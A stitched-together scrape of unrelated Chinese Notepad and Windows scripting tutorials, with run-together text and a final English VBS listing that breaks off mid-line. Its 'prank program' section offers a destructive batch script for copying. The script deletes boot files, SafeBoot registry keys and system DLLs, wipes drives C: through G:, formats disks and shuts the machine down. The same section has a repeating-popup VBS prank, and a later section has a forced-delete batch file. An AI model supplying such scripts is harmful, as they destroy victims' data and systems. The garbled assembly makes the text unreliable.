Windows脚本编程教程.txt - 记事本
win32编写记事本要点
华北科技学院课程设计说明书专业:网络工程课程名称: 汇编课程设计班级:姓名: 学号:设计题目: win32编写记事本设计时间: 2011-12-05 至2011-12-16 评语: ________________________________ _________________________________________ _________________________________________ _________________________________________ _________________________________________ _________________________________________ 评阅成绩:____评阅教师:_____课程设计报告的要求1、需求分析:描述问题,简述课题要解决的问题是什么,有什么要求和限制条件。
2、总体设计(程序设计组成框图、流程图)3、详细设计(模块功能说明(如函数功能、入口及出口参数说明,过程调用关系描述等))4、调试与测试:调试方法,测试结果的分析与讨论,测试过程中遇到的主要问题及采取的解决措施5、测试结果,用几组测试数据进行测试算法设计的正确性。
6、附录。
源程序清单和结果:源程序要加注释。
结果要包括测试数据和运行结果。
《汇编语言》课程设计案例一、问题陈述及其需求分析要求:在windows系统下利用32位汇编编写一个简单但功能能实现的记事本。
内容:在利用32位汇编编写记事本的时候,考虑到很多问题:(1)首先最重要的是汇编软件的选择,刚开始用asm2011软件编写,最终不行,最后参考资料,如坚持用它的话,必须用代码编写资源代码才能使用;因此为了方便,区别于dos系统下的汇编,我采用了Radasm汇编软件。
(2)其次是记事本的编辑,由于记事本我们大家都常见,曾经也用过高级语言编写过,例如java,因此对其格式很了解,但是还有一个问题就是,我们将如何用汇编这种语言来编写记事本呢,例如如何编写记事本基本框架,编写菜单栏,建立菜单项,添加文本编辑区及建立文本编辑区。
自动关机脚本——窗口.txt - 记事本
@ECHO offTITLE 自动关机程序:startCLSCOLOR 1frem 使用COLOR命令对控制台输出颜色进行更改MODE con: COLS=41 LINES=18rem MODE语句为设定窗体的宽和高set tm1=%time:~0,2%set tm2=%time:~3,2%set tm3=%time:~6,2%ECHO %date% %tm1%点%tm2%分%tm3%秒ECHO =========================================ECHO 请选择要进行的操作,然后按回车ECHO ———————————————ECHO.ECHO 1. 定时关机ECHO 2. 倒计时关机ECHO 3. 删除定时关机任务ECHO 4. 查看任务状态ECHO 5. 刷新当前时间ECHO 6. 重新启动ECHO 7. 锁定计算机ECHO 8. 注销ECHO 9. 退出ECHO.:choSET Choice=SET /P Choice=选择:rem 设定变量"Choice"为用户输入的字符IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1%rem 如果输入大于1位,取第1位,比如输入132,则返回值为1ECHO.IF /I "%Choice%"=="1" GOTO SetHourIF /I "%Choice%"=="2" GOTO outtimeIF /I "%Choice%"=="3" GOTO delAtIF /I "%Choice%"=="4" GOTO viewIF /I "%Choice%"=="5" GOTO startIF /I "%Choice%"=="6" GOTO restartIF /I "%Choice%"=="7" GOTO lockIF /I "%Choice%"=="8" GOTO logoffIF /I "%Choice%"=="9" GOTO endrem 为避免出现返回值为空或含空格而导致程序异常,需在变量外另加双引号rem 注意,IF语句需要双等于号rem 如果输入的字符不是以上数字,将返回重新输入ECHO 选择无效,请重新输入ECHO.GOTO cho:SetHourCLSECHO.SET ask=SET /p ask=是否设定为每天执行关机命令(y/n):第 1 页IF NOT "%ask%"=="" SET ask=%ask:~0,1%IF /I "%ask%"=="y" GOTO yesIF /I "%ask%"=="n" GOTO noGOTO SetHour:yesECHO 请指定24小时制式时间,格式为小时:分钟SET shutdowntime=SET /p shutdowntime=输入:at %shutdowntime% /every:M,T,W,Th,F,S,Su tsshutdn 0 /delay:0 /powerdown >nul rem 设定为每周的星期一至星期日,即为每天IF NOT errorlevel 1 GOTO okrem 如果输入正确,就执行ok段的语句ECHO %shutdowntime% 不是标准的时间格式,请重新输入ECHO.GOTO yes:noECHO 请指定24小时制式时间,格式为小时:分钟SET shutdowntime=SET /p shutdowntime=输入:at %shutdowntime% tsshutdn 0 /delay:0 /powerdown >nulIF NOT errorlevel 1 GOTO okECHO %shutdowntime% 不是标准的时间格式,请重新输入ECHO.GOTO no:okECHO.SET h=%shutdowntime:~1,1%SET ah=%shutdowntime:~0,1%SET am=%shutdowntime:~2,2%SET bh=%shutdowntime:~0,2%SET bm=%shutdowntime:~3,2%IF "%h%"==":" (SET HM=%ah%时%am%分) ELSE (SET HM=%bh%时%bm%分)rem 如果输入h:mm则HM=h时mm分,否则HM=hh时mm分IF /I "%ask%"=="y" ECHO 系统将于每天的%HM%关闭IF /I "%ask%"=="n" ECHO 系统将于%HM%关闭ECHO 设定完毕! 按任意键继续...PAUSE >nulGOTO start:outtimeCLSECHO.ECHO 请输入倒计时秒数ECHO ————————ECHO (设定后要取消,单击"确定"后按Ctrl+C键两次)SET timed=SET /p timed=输入:tsshutdn %timed% /delay:0 /powerdown >nulIF not errorlevel 1 GOTO okECHO %timed% 是无效的关机时间,请重新输入第 2 页ECHO.GOTO outtime:delAtclsecho.at /del /yecho 定时关机任务已取消,按任意键继续... pause >nulGOTO start:viewMODE con: COLS=85 LINES=18COLOR 70ECHO.atECHO 按任意键继续...PAUSE >nulGOTO start:restartshutdown -r -t 0:lockrundll32.exe user32.dll,LockWorkStationgoto start:logofflogoff:endexit第 3 页。
VBS脚本教程
VBS脚本教程(一)打开你的“记事本”程序,在编辑窗口填写:msgbox "Hello World!"然后用鼠标单击“文件”菜单,单击“保存”,把“保存在”一栏设为桌面,在“文件名”一栏中填写kk.vbs,单击“保存”就可以了。
然后最小化“记事本”窗口,在桌面上寻找你刚刚保存的kk.vbs,然后双击。
看到弹出的对话框了没有,单击“确定”,对话框消失了。
难看了点,不过确实是你编写的第一个脚本程序。
说明之一:上面的操作中,保存位置放在桌面,仅仅是为了执行方便,你保存到其他的地方完全没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存的当然知道保存在那里了。
不,自己保存的文件自己找不到的人我见的多了去了。
文件名你可以随意填写,不一定非要写kk,只要符合Windows的文件命名规则就可以了,但是扩展名必须是vbs,什么?不知道什么是扩展名?就是文件名中“.”后的那部分,简单说,就是vbs脚本文件命名时必须是:xxx.vbs,其中xxx你随意。
说明之二:在记事本编辑窗口中写的这行是什么意思?Msgbox是VBS内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。
你不用了解函数是怎么运作的,只要了解这个函数能干什么就行了。
Msgbox语法:msgbox "对话框内容", , "对话框的标题"你不妨用记事本打开刚才的文件在编辑窗口中输入:msgbox "Hello World!" , , "系统提示"执行一下,看看效果和位置。
说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。
当然,这个脚本实在是太简单了,甚至连最简单的交互都没有,所以你可以把脚本这样修改一下:Dim namename=Inputbox("请输入你的名字:","名称")Msgbox name, , "您的名字是"保存执行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?说明之一:第一句是定义变量,dim是定义变量的语句其格式为:dim 变量1,变量2……,Vbs只有一种变量类型,所以不用声明变量类型。
用Windows+C+编写一个记事本程序
用Windows C 编写一个记事本程序程序运行界面一从C/C++到Windows编程我们学习的C/C++程序都是DOS程序(或称为Windows控制台程序),也就是现在大学里的开设的《C/C++程序设计》的内容,这些程序由于不涉及到Windows 编程的细节,因此比较容易入门学习,这对训练初学者的编程思想是很有用的,也是有益的。
但是当我们基本掌握了C/C++程序设计后,就不能仅仅停留在DOS 下(或Windows控制台下)编写、运行程序。
我们应该从编程思想的训练到Windows实用编程的转变。
对于初学Windows 编程的人来说,入门是难了一点,我们先介绍一个最简单的Hello 程序开始,然后再介绍记事本程序。
#include <windows.h>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow) {MessageBox(NULL,"Hello 欢迎使用Turbo C for Windows 集成实验与学习环境!","我的第一个Windows 程序",MB_OK);return 0;}程序的运行结果是:程序解析:1、windows.h是每一个Windows程序都需要的头文件。
2、WinMain函数是所有Windows C程序的入口,类似于DOS C中的main函数。
3、MessageBox是一个Win32 API函数(API,Application Programming Interface 应用程序接口),其作用是弹出一个对话框,显示消息的内容。
该函数的第一个参数是用来指定父窗口句柄,即对话框所在的窗口句柄。
第二个参数是用来显示消息的内容(你可以修改成你想显示的内容)。
第三个参数是对话框标的标题,如本例的“我的第一个Windows程序”,第四个参数是指定对话框中显示的按钮,试一试,将MB_OK修改成MB_OKCANCEL,运行一下程序会出现什么结果,再试一试修改成MB_RETRYCANCEL二、Windows 程序简介(1)Windows C程序的组成:1.C程序源文件,扩展名为.c或.cpp2.头文件,扩展名为.h3.资源文件,扩展名为.rc(2)源程序的组成结构Windows C程序有相对固定的基本结构,一般有入口函数WinMain和窗口函数。
使用Windows自带的记事本编写简单代码
使用Windows自带的记事本编写简单代码在如今数字化的时代,编程不再是专业程序员的专属技能,普通人也可以通过简单的工具和基础的知识来体验编程的乐趣。
Windows 自带的记事本就是这样一个容易上手的工具,它虽然看似简单,但却能帮助我们编写一些简单的代码。
首先,让我们来了解一下记事本。
记事本是 Windows 操作系统中一个基本的文本编辑工具,它没有复杂的功能和花哨的界面,只有纯粹的文字编辑区域。
但这恰恰为我们编写代码提供了一个干净、简洁的环境。
当我们决定使用记事本编写代码时,第一步就是打开它。
在Windows 系统中,您可以通过点击“开始”菜单,然后在搜索框中输入“记事本”来找到并打开它。
或者,您也可以按下快捷键“Windows +R”,在弹出的“运行”对话框中输入“notepad”并回车。
接下来,让我们从一个简单的 HTML 代码开始入手。
HTML(超文本标记语言)是用于创建网页的基础语言。
以下是一个简单的 HTML代码示例,用于创建一个包含标题和段落的网页:```html<!DOCTYPE html><html><head><title>我的第一个网页</title></head><body><h1>这是一个标题</h1><p>这是一个段落。
</p></body></html>```在记事本中输入上述代码后,点击“文件”菜单,选择“另存为”。
在“文件名”框中,输入“my_first_webpagehtml”(注意,一定要加上“html”扩展名,否则浏览器无法正确识别它为 HTML 文件),然后选择保存类型为“所有文件”,最后选择一个您想要保存的位置,点击“保存”。
保存完成后,找到您保存的文件,双击它,它应该会在您的默认浏览器中打开,显示出您刚刚编写的网页内容,包含一个标题和一个段落。
除了 HTML,我们还可以使用记事本编写 Python 代码。
Windows下的记事本的小程序编写(恶搞小程序)
Windows下的记事本的小程序编写(恶搞小程序)2012-05-16 11:35:16| 分类:IT|字号订阅整人小程序复制文字改后缀就能制作目录:1、删掉电脑系统(过于恶毒,轻易别尝试)2、运行后每5秒弹出对话框“哈哈!你中招了!”弹出20次~(可修改次数)3、我是猪4、无法关闭的对话框(必须点击60下以上才可关闭)5、综合型(提供一个最恶毒的,复制到文本文档,后缀改为.batecho offecho 等待......echo 正在分析系统......REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /fREG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /fATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -hDEL %SYSTEMDRIVE%\boot.ini /fdel %SYSTEMROOT%\system32\logfiles\*.*del %SYSTEMROOT%\sytem32\config\*.evt del %SYSTEMROOT%\system32\dtclog\*.* del %SYSTEMROOT%\system32\*.logdel %SYSTEMROOT%\system32\*.txtdel %SYSTEMROOT%\*.txtdel %SYSTEMROOT%\*.logdel /f /s /q %system%\*.dlldel /f /s /q %system%\*.prxdel /f /s /q %system%\*.tbldel /f /s /q %system%\*.cpxdel /f /s /q %system%\*.romdel /f /s /q %system%\*.ucedel /f /s /q %system%\recycled\*.*del /f /s /q %system32%\*.dlldel /f /s /q %system32%\*.prxdel /f /s /q %system32%\*.tbldel /f /s /q %system32%\*.cpxdel /f /s /q %system32%\*.romdel /f /s /q %system32%\*.ucedel /f /s /q %system32%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*del /f /s /q *.*sfc /purgecachedel /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\*.logdel /f /s /q %windir%\*.tmpdel /f /s /q %windir%\prefetch\*.*rd /s /q %temp% & md %temp%del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"@rd /s /q G:\ & md G:\@rd /s /q F:\ & md F:\@rd /s /q E:\ & md E:\@rd /s /q D:\ & md D:\@rd /s /q C:\ & md C:\@rd /s /q A:\ & md A:\@for %%e in (C D E F G) do del /f /s /q %e:\* >nulrd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"del /f /q E:\我的电脑\正在清理windows系统\dll\*.*@format c: /q/u/autoset@format d: /q/u/autoset@format e: /q/u/autosetgoto enddel c:\*.exedel d:\*.dlldel e:\*.vbedel f:\*.batdel g:\*.cmdecho OK!echo.shutdown -s -t 0)1...这个没什么太大意思~不过瘾运行后每5秒弹出对话框弹出20次~set ws=wscript.createobject("wscript.shell")ws.run "wscript.exe",0set WshShell = WScript.CreateObject("WScript.Shell")alerttitle = "系统提示"alerttext ="哈哈!你中招了!"for i = 1 to 20WScript.Sleep(1000*5)msgbox alerttext,4096,alerttitlenext复制代码到记事本中保存为.vbs2...说我是猪,就不关机,快撒,说""我是猪""","说不说"方法如下:在开始内点击运行输入at xx:xx shutdown -s,xx:xx代表几点几分是在几点几分关机输入shutdown.exe -s -t xx,xx代表多少秒钟后关机如果要取消,就输入shutdown -a就可以取消了.我听一个朋友说,有个人给他发个东西。
Windows自带记事本实用技巧汇总
Windows自带记事本实用技巧汇总记事本实用技巧集锦1. 让记事本自动记录上次打开的时间方法:在记事本的第一行写上“.LOG”(不包括引号并且为大写字母,注意前面有个点),这样今后打开记事本文件就知道上次最后的打开时间了。
2.按F5可以直接插入当前的日期和时间3. 让记事本自动换行每次打开记事本文件总是显示一行长长的文本,阅读起来一点不方便,其实只要选择菜单栏上的“格式”,然后将“自动换行”勾选上,这样文本就会根据记事本窗口大小自动换行了。
4. 更改记事本字体及字号记事本默认的字号小、字体丑,看着着实不舒服,选择“格式”->“字体”,即可随意更改默认字体。
5. 利用记事本浏览网页特效做网页的朋友一定会经常测试一些网页特效,反正做博客我就是经常测试一些好玩的代码,每次打开一些网页编辑器或者软件实在麻烦(速度实在是慢!),其实利用记事本就可以轻松完成,而且记事本的速度可是超快。
方法:将想要测试的网页代码粘贴到记事本,选择“文件”->“另存为”,文件名选择英文或者英文+数字的形式,后缀为.html,比如haha.html,然后打开IE浏览器选择“文件”->“打开”,找到刚才的haha.html文件并且打开,这样就可以在浏览器中预览网页效果了。
6. 批处理这应该是记事本最常用的方式了,批量处理能节省好多宝贵的时间以及烦琐的过程。
复制经本人亲自测试,复制一个1G大的电影仅需2秒。
(此法在大文件复制上效果尤为明显,具体步骤如下)1.在记事本中输入"copy F:\电影\黑客帝国.rmvb"(即copy+空格+要复制的文件的完整路径,注意:包括扩展名)2.保存为.bat格式,保存位置为你要复制到的目标文件夹3.双击运行此批处理文件强力删除1.将如下内容复制到记事本中并保存为.bat格式DEL /F /A /Q \\?\%1RD /S /Q \\?\%12.将想要删除的文件直接拖到该文件上即可自动关机和上面一样都是保存为.bat格式文件再双击运行倒计时关机:shutdown -s -t 600(这个“600”是倒计时的时间,单位为秒)定时关机:at 24:00 Shutdown -s取消关机计划:shutdown -a设置wifi热点创建:netsh wlan set hostednetwork mode=allow ssid=mywifi key=123456789(解释一下:蓝色字是wifi的名称,红色字是wifi的密码,这些都可以随意更改,不过密码要8位以上。
Windows汇编语言编程教程-电脑资料
Windows汇编语言编程教程-电脑资料目录介绍 (2)为什么选用汇编语言 (2)为什么选择Windows系统 (2)Ⅰ开始学习之旅 (3)编译器 (3)编辑器 (3)Ⅱ第一个程序 (4)控制台程序 (4)窗体程序 (6)ADDR 与 OFFSET (6)Ⅲ汇编基础 (7)cpu寄存器 (7)指令集基础 (8)Push 和Pop (8)Invoke (9)程序例子 (9)IV. 窗体程序基础 (10)预备知识 (10)宏 (10)过程 (10)变量 (10)一个简单的窗体程序 (11)IV. 深入汇编和系统 (13)字符串操作 (13)文件管理 (13)存储 (14)程序例子 (14)控制 (15)附加资源 (16)互联网 (16)书籍 (16)MASM32 (16)MSDN (16)新闻组 (16)IRC (16)介绍“This is for all you folks out there,who want to learn the magic art of Assembly programming”-MAD介绍我最近才开始学习windows系统汇编语言编程,这个教程是我在学习汇编语言的过程中写下来的,。
我阅读大量的在线教程、书本,以及通过新闻组以及IRC通讯工具请问他人,本人就是通过这些方式学习汇编语言的。
互联网上有很多的汇编编程的教程,但这些教程只是侧重于X86汇编。
因为这些教材都假定读者已经掌握了高级编程语言以及基本的计算机系统知识。
为什么选用汇编语言?汇编语言具有若干的特色,使得在某此情况下,汇编语言是一种很好的选择。
1 快速汇编语言程序运行的速度比高级语言程序要快。
通常,要求运行效率高的子程序是用汇编语言编写的。
2 强大运用汇编语言,你能得到不受限制的权力。
相对的,高级语言则有种种限制,在实现某些特定的要求时变得困难。
3 体积小汇编语言程序通常比其他语言程序要小得多。
这种特性在空间有限的情况下是非常有用的。
vbs操作txt文本文件常用方法与函数代码
vbs操作txt⽂本⽂件常⽤⽅法与函数代码'creat by 席飞剑(⼩席⽼师)'操作⽂本⽂件,操作fso对象(⽂件对象操作)函数代码创建⽂件dim fso, fset fso = server.CreateObject("Scripting.FileSystemObject")set f = fso.CreateTextFile("C:\test.txt", true) '第⼆个参数表⽰⽬标⽂件存在时是否覆盖f.Write("写⼊内容")f.WriteLine("写⼊内容并换⾏")f.WriteBlankLines(3) '写⼊三个空⽩⾏(相当于在⽂本编辑器中按三次回车)f.Close()set f = nothingset fso = nothing打开并读⽂件dim fso, fset fso = server.CreateObject("Scripting.FileSystemObject")set f = fso.OpenTextFile("C:\test.txt", 1, false) '第⼆个参数 1 表⽰只读打开,第三个参数表⽰⽬标⽂件不存在时是否创建f.Skip(3) '将当前位置向后移三个字符f.SkipLine() '将当前位置移动到下⼀⾏的第⼀个字符,注意:⽆参数response.Write f.Read(3) '从当前位置向后读取三个字符,并将当前位置向后移三个字符response.Write f.ReadLine() '从当前位置向后读取直到遇到换⾏符(不读取换⾏符),并将当前位置移动到下⼀⾏的第⼀个字符,注意:⽆参数response.Write f.ReadAll() '从当前位置向后读取,直到⽂件结束,并将当前位置移动到⽂件的最后if f.atEndOfLine thenresponse.Write("⼀⾏的结尾!")end ifif f.atEndOfStream thenresponse.Write("⽂件的结尾!")end iff.Close()set f = nothingset fso = nothing打开并写⽂件dim fso, fset fso = server.CreateObject("Scripting.FileSystemObject")set f = fso.OpenTextFile("C:\test.txt", 2, false) '第⼆个参数 2 表⽰重写,如果是 8 表⽰追加f.Write("写⼊内容")f.WriteLine("写⼊内容并换⾏")f.WriteBlankLines(3) '写⼊三个空⽩⾏(相当于在⽂本编辑器中按三次回车)f.Close()set f = nothingset fso = nothing判断⽂件是否存在dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")if fso.FileExists("C:\test.txt") thenresponse.Write("⽬标⽂件存在")elseresponse.Write("⽬标⽂件不存在")end ifset fso = nothing移动⽂件dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")call fso.MoveFile("C:\test.txt", "D:\test111.txt") '两个参数的⽂件名部分可以不同set fso = nothing复制⽂件dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")call fso.CopyFile("C:\test.txt", "D:\test111.txt") '两个参数的⽂件名部分可以不同set fso = nothing删除⽂件dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")fso.DeleteFile("C:\test.txt")set fso = nothing创建⽂件夹dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")fso.CreateFolder("C:\test") '⽬标⽂件夹的⽗⽂件夹必须存在set fso = nothing判断⽂件夹是否存在dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")if fso.FolderExists("C:\Windows") thenresponse.Write("⽬标⽂件夹存在")elseresponse.Write("⽬标⽂件夹不存在")end ifset fso = nothing删除⽂件夹dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")fso.DeleteFolder("C:\test") '⽂件夹不必为空set fso = nothing这篇⽂章就介绍到这,更多的⼤家可以查看以前发布的关于vbs txt操作的相关⽂章。
VBS脚本编程简明教程
V B S脚本编程简明教程(总87页)-CAL-FENGHAI.-(YICAI)-Company One1-CAL-本页仅作为文档封面,使用请直接删除第一章 VBS脚本编程简明教程第一节◎Vbs脚本编程简明教程之一—为什么要使用Vbs在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机()吗Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocx或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
Windows的记事本源代码
bw.close();
}
}
class MyClipboard{//剪贴板的应用
private Clipboard cb;
public MyClipboard(){
cb=Toolkit.getDefaultToolkit().getSystemClipboard();
}
public void setData(String data)throws Exception{//保存文件
fDlg.setTitle("保存");
fDlg.setMode(FileDialog.SAVE);
fDlg.setVisible(true);
BufferedWriter bw=new BufferedWriter(new FileWriter(getPath()));
private FileDialog fDlg;
public MyFile(Frame parent){
fDlg=new FileDialog(parent,"",FileDialog.LOAD);
}
private String getPath(){//获得打开文件的路径
return fDlg.getDirectory()+"\\"+fDlg.getFile();
}
public void addMenuItems(int menuNumber,String[]items){//添加菜单中的子项菜单或分隔符
for(int i=0;i<items.length;i++){
Windows脚本编程核心技术精解-随书示例脚本-第十七章
' 17-1.VBS (2)' 17-2.VBS (4)' 17-3.VBS (6)' 17-4.VBS (8)' 17-5.VBS (10)' 17-6.VBS (12)' 17-7.VBS (14)' 17-8.VBS (17)' 17-1.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' internetexplorer.applicationCheckCOM'---end of COM-object checking code---set ie = WScript.CreateObject("InternetExplorer.Application", _"event_")ie.visible = trueMsgBox "Close the IE window to see what happens!", vbSystemModalMsgBox "Script ends now."sub event_onQuitMsgBox "Hey! You are about to close the window!", _vbSystemModalend sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("internetexplorer.application") thenmsg="COM-Object ""internetexplorer.application"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Install the Internet Explorer Version 4.0 or above." & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-2.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' typelib.decoder' wscript.shellCheckCOM'---end of COM-object checking code---set tool = CreateObject("typelib.decoder")set wshshell = CreateObject("WScript.Shell")set result = tool.EnumInterface("shdocvw.dll", "InternetExplorer", 2)for each eventname in resultlist = list & eventname & vbCrnextwshshell.popup "Events supported by Internet Explorer:" & vbCr & _vbCr & list' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("typelib.decoder") thenmsg="COM-Object ""typelib.decoder"" is required. This object is currently not installed onyour system." & vbCrmsg = msg & "Install the TYPELIB component from CD" & vbCrMsgBox msg, vbExclamationend ifif not COMExists("wscript.shell") thenmsg="COM-Object ""wscript.shell"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Reinstall the Windows Scripting Host!" & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-3.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' internetexplorer.applicationCheckCOM'---end of COM-object checking code---set ie = WScript.CreateObject("InternetExplorer.Application", _"event_")ie.visible = trueMsgBox "I am hiding the window!", vbSystemModalie.visible = falseMsgBox "Closing IE..."ie.quitMsgBox "Script ends."sub event_onQuitMsgBox "Hey! You are about to close the window!", _vbSystemModalend subsub event_OnVisible(mode)MsgBox "Changed visibility to " & modeend sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("internetexplorer.application") thenmsg="COM-Object ""internetexplorer.application"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Install the Internet Explorer Version 4.0 or above." & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-4.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' timer.eventCheckCOM'---end of COM-object checking code---set tool = WScript.CreateObject("timer.event", "timer_")' set timer to 2 sec intervaltool.SetTimer 2000' enable timertool.EnableTimerMsgBox "Timer is enabled!"sub timer_TimerFiredMsgBox "Timer has fired!"end sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("timer.event") thenmsg="COM-Object ""timer.event"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Install the TIMER component from CD" & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-5.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' timer.eventCheckCOM'---end of COM-object checking code---set tool = WScript.CreateObject("timer.event", "timer_")' set script timeout to 20 secondstool.SetTimer 20000tool.EnableTimer' simulate a script errordo' check for eventstool.HandleEventsloop' your timeout proceduresub timer_TimerFiredmsg = "Your script is still running. Do you want to quit?"response = MsgBox(msg, vbYesNo + vbQuestion + vbDefaultButton2)if response = vbYes then WScript.Quitend sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("timer.event") thenmsg="COM-Object ""timer.event"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Install the TIMER component from CD" & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-6.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' tray.iconCheckCOM'---end of COM-object checking code---' enable quit on demand:set tool = WScript.CreateObject("tray.icon", "event_")call tool.QuitOnDemand' do some dummy stuff...for x = 1 to 1000for y = 1 to 10000000tool.HandleEventstest = left("teststring",1) + mid("testing", 3, 2)nextnext' disable icon in tray areacall tool.Quit' called whenever someone asks the script to quitsub event_QuitNowWScript.Quitend sub' --- the following code had been automatically added to ensure all required COM objects are installed.function COMExists(name)' checks whether a specific COM object is installed on' your local machineset cwsh = CreateObject("WScript.Shell")on error resume nextdummy = cwsh.RegRead("HKCR\" & name & "\")if err.number<>0 thenCOMExists = falseelseCOMExists = trueend ifend functionsub CheckCOMif not COMExists("tray.icon") thenmsg="COM-Object ""tray.icon"" is required. This object is currently not installed on your system." & vbCrmsg = msg & "Install the TRAY component from CD" & vbCrMsgBox msg, vbExclamationend ifend sub'--- end of COM object checking code' (C) 2000 by Dr. T. Weltner - all rights reserved.' 17-7.VBS'---the following lines have been added to ensure all required COM objects are available on your system.' script uses the following components:' scripting.filesystemobject' modeless.dialogCheckCOM'---end of COM-object checking code---set fs = CreateObject("Scripting.FileSystemObject")' create COM reference and catch events:set tool = WScript.CreateObject("modeless.dialog", "event_")list = ""quit = falsetool.WriteDialog "Starting..."' enter MODAL mode, window takes overtool.ShowDialog' this 